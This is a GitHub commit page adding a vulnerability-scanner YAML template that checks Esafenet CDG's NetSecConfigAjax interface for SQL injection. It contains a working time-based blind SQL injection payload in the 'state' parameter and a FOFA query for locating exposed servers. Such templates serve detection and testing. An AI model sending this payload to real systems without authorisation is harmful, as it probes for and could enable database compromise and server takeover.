-
Notifications
You must be signed in to change notification settings - Fork 2.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #10372 from adeljck/esafenet-NetSecConfigAjax-Sqli
add esafenet-NetSecConfigAjax-Sqli.yaml
- Loading branch information
Showing
1 changed file
with
31 additions
and
0 deletions.
There are no files selected for viewing
31 changes: 31 additions & 0 deletions
31
http/vulnerabilities/esafenet/esafenet-netsecconfigajax-sqli.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
id: esafenet-netsecconfigajax-sqli | ||
|
||
info: | ||
name: Esafenet CDG NetSecConfigAjax - Sql Injection | ||
author: adeljck | ||
severity: high | ||
description: | | ||
The `state` parameter of the `NetSecConfigAjax` interface of the Yisaitong electronic document security management system does not pre-compile and adequately verify the incoming data, resulting in a SQL injection vulnerability in the interface. Malicious attackers may obtain the server through this vulnerability information or directly obtain server permissions. | ||
metadata: | ||
verified: true | ||
vendor: esafenet | ||
max-request: 1 | ||
fofa-query: title="电子文档安全管理系统",body="CDGServer3/" | ||
tags: esafenet,sqli | ||
|
||
http: | ||
- raw: | ||
- | | ||
POST /CDGServer3/NetSecConfigAjax;Service HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/x-www-form-urlencoded | ||
command=updateNetSec&state=123';if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'-- | ||
matchers: | ||
- type: dsl | ||
dsl: | ||
- 'contains(content_type,"text/html")' | ||
- 'contains(body,"操作成功")' | ||
- 'status_code == 200' | ||
condition: and |